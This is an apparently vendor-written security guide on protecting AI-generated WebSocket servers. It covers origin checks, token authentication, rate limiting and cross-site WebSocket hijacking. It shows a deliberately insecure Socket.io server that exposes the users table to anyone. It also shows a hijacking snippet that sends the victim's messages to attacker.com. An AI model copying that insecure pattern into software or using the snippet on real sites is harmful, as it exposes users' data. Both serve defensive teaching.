Quick Answer
AI-generated WebSocket servers often accept every connection without authentication, skip the origin check, and broadcast messages to every connected client. Browsers do not apply CORS to WebSocket connections, and they send cookies with the handshake, so if your app signs users in with a session cookie, a page on another site can open a connection as your user. A connection also stays open once established, so one missing auth check gives an attacker a channel that lasts as long as the socket does.
Why WebSocket Security Gets Skipped
Real-time features are trending in AI-generated apps: live chat, collaborative editing, real-time dashboards, notifications. AI tools generate functional WebSocket servers quickly, but real-time connections have a fundamentally different security model than HTTP requests. Every HTTP request can be independently authenticated; a WebSocket connection is authenticated once at handshake and then stays open until it closes, even after the session or token behind it expires.
The OWASP WebSocket Security Cheat Sheet notes that browsers include cookies in the WebSocket handshake. Any website can open a WebSocket connection to your server with your user's session unless you explicitly validate the origin. The PortSwigger Web Security Academy covers this attack as cross-site WebSocket hijacking.
As more AI-generated apps add real-time features, the attack surface grows with them.
The Default AI-Generated WebSocket Server
// ❌ BAD - AI's default Socket.io setup (no auth, no origin check)
import { Server } from 'socket.io';
const io = new Server(httpServer, {
cors: { origin: '*' }, // No origin check: any site can connect
});
io.on('connection', (socket) => {
// No authentication check - anyone can connect
socket.on('message', (data) => {
// No authorization - broadcasts to everyone
io.emit('message', data);
});
socket.on('getUsers', async () => {
// No auth - returns sensitive data to any connection
const users = await db.query('SELECT * FROM users');
socket.emit('users', users);
});
});
// ✅ GOOD - Authenticated and authorized WebSocket server
import { Server } from 'socket.io';
import jwt from 'jsonwebtoken';
const ALLOWED_ORIGINS = ['https://myapp.com', 'https://staging.myapp.com'];
const io = new Server(httpServer, {
cors: { origin: ALLOWED_ORIGINS },
// cors only covers HTTP long-polling; allowRequest also sees WebSocket upgrades
allowRequest: (req, callback) => {
callback(null, ALLOWED_ORIGINS.includes(req.headers.origin));
},
});
// Authenticate on connection
io.use((socket, next) => {
const token = socket.handshake.auth.token;
if (!token) return next(new Error('Authentication required'));
try {
const user = jwt.verify(token, process.env.JWT_SECRET, {
algorithms: ['HS256'],
});
socket.user = user;
next();
} catch {
next(new Error('Invalid token'));
}
});
io.on('connection', (socket) => {
// User is authenticated at this point
// Join a user-specific room for targeted messages
socket.join(`user:${socket.user.sub}`);
socket.on('message', (data) => {
// Only broadcast to the user's authorized channels
const roomId = data.roomId;
// Verify user has access to this room before broadcasting
if (userCanAccessRoom(socket.user.sub, roomId)) {
io.to(roomId).emit('message', { ...data, userId: socket.user.sub });
}
});
});
Cross-Site WebSocket Hijacking
WebSocket connections are not protected by CORS. The Socket.io documentation says it plainly: CORS only applies to HTTP long-polling. When a browser opens a WebSocket connection, it includes cookies in the handshake. An attacker's website can open a WebSocket connection to your server, and the browser can send your users' session cookies along with it.
// Attacker's website opens a WebSocket to your server
// Browser sends the victim's cookies automatically
const ws = new WebSocket('wss://your-app.com/ws');
ws.onmessage = (event) => {
// Attacker receives data meant for the victim
fetch('https://attacker.com/steal', { method: 'POST', body: event.data });
};
Two things stop this: check the Origin header of every handshake against an allowlist, as allowRequest does above, and authenticate with a token the attacker's page cannot read, as the handshake.auth middleware does. Native apps and server-side clients usually send no Origin header, so if they connect too, let them through on the token alone.
Common WebSocket Vulnerabilities in AI Code
| Vulnerability | AI Default | Fix |
|---|---|---|
| No auth on connection | Accept all connections | JWT/session validation in middleware |
| No origin validation | cors: { origin: '*' } |
Check the Origin header against an allowlist |
| Broadcast to all clients | io.emit() for everything |
Room-based messaging with authorization |
| No message validation | Trust all incoming data | Schema validation on every message |
| No rate limiting | Unlimited messages per connection | Per-connection message rate limits |
| No connection limits | Unlimited connections per user | Max connections per user/IP |
Rate Limiting WebSocket Messages
Unlike HTTP endpoints, WebSocket connections are persistent. An attacker can send thousands of messages per second through a single connection. Without rate limiting, this becomes a denial-of-service vector. The OWASP cheat sheet calls 100 messages per minute a common starting point, which is the limit below.
// ✅ GOOD - Per-connection rate limiting
const rateLimitMap = new Map();
io.on('connection', (socket) => {
rateLimitMap.set(socket.id, { count: 0, resetAt: Date.now() + 60000 });
socket.use(([event, ...args], next) => {
const limit = rateLimitMap.get(socket.id);
if (Date.now() > limit.resetAt) {
limit.count = 0;
limit.resetAt = Date.now() + 60000;
}
limit.count++;
if (limit.count > 100) {
return next(new Error('Rate limit exceeded'));
}
next();
});
socket.on('disconnect', () => rateLimitMap.delete(socket.id));
});
Cap message size too. Socket.io closes a socket whose message is larger than maxHttpBufferSize, which is 1 MB by default; OWASP suggests 64 KB or less for most apps.
How to Secure Your WebSocket Implementation
- Authenticate every connection in a Socket.io middleware or the ws library's upgrade handler. Never accept unauthenticated connections.
- Validate origins against an allowlist on every handshake. In Socket.io that means
allowRequest, because thecorsoption only covers long-polling. Reject connections from unknown origins. - Authorize every action. A connected user is authenticated but may not be authorized for every operation. Check permissions per event.
- Validate every message. Parse and validate incoming message payloads with Zod or similar before processing.
- Add rate limits per connection to prevent message flooding.
- Close connections when the session ends. OWASP recommends re-validating sessions periodically on long-lived connections and closing them when the session expires or the user logs out.
- Scan your codebase. VibeDoctor's Vibe Check flags wildcard CORS origins such as the
cors: { origin: '*' }above (SEC-004) and HTTP API routes with no auth check (SEC-001). It does not inspect WebSocket event handlers, so steps 1 to 6 are still yours to check. Free to sign up.
FAQ
Is Socket.io more secure than raw WebSockets?
Socket.io provides middleware hooks that make it easier to add authentication and authorization. Raw WebSocket (ws library) requires handling auth in the HTTP upgrade event, which is more manual but equally secure when done correctly. Neither is inherently more secure - both require explicit security implementation.
Should I use WSS (WebSocket Secure) in production?
Absolutely. Always use wss:// (WebSocket over TLS) in production. Without TLS, WebSocket traffic is transmitted in plaintext, and any intermediate network can intercept or modify messages. If your site uses HTTPS (which it should), your WebSocket connections should use WSS.
How do I authenticate WebSockets when cookies are not sent?
Send the authentication token in the connection handshake: io({ auth: { token: 'jwt-token' } }) for Socket.io, or in the first message for raw WebSockets. The server validates the token before it accepts any other message. Avoid putting the token in the URL query string: the OWASP cheat sheet warns that it can leak into access logs.
Can WebSockets be used for DDoS attacks?
Yes. WebSocket connections consume server resources (memory, file descriptors) proportional to the number of open connections. An attacker can open thousands of connections without sending any messages. Implement per-IP connection limits, idle timeouts, and maximum concurrent connection thresholds to mitigate this.